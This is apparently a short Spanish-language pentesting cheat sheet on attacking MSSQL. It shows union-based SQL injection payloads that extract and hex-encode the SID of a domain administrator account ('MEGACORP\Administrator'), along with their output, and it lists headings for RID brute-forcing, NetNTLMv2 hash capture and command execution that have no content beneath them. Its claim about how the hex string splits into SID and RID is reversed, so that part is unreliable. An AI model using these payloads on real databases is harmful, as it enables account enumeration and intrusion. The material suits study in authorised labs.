MSSQL - 1433
Obtener suma RID + SID
-> test' union select 1,SUSER_SID('MEGACORP\Administrator'),3,4,5-- -
[
{
"id": 1,
"name": "\u0001\u0005\u0000\u0000\u0000\u0000\u0000\u0005\u0015\u0000\u0000\u0000\u001c\u0000\u00d1\u00bc\u00d1\u0081\u00f1I+\u00df\u00c26\u00f4\u0001\u0000\u0000",
"position": "3",
"email": "4",
"src": "5"
}Para representarla en hexadecimal
-> test' union select 1,sys.fn_varbintohexstr(SUSER_SID('MEGACORP\Administrator')),3,4,5-- -
[
{
"id": 1,
"name": "0x0105000000000005150000001c00d1bcd181f1492bdfc236f4010000",
"position": "3",
"email": "4",
"src": "5"
}Toda la cadena, sin contar con el ‘0x’, tiene un total de 56 caracteres, de los cuales los 48 primeros corresponden al RID y el resto al SID
Ejemplo fuerza bruta RIDs
Obtención de usuario a partir de RID + SID
Conexión inicial
Obtener Hash NetNTLMv2
Ejecutar comandos a nivel de sistema
Modificar datos
Last updated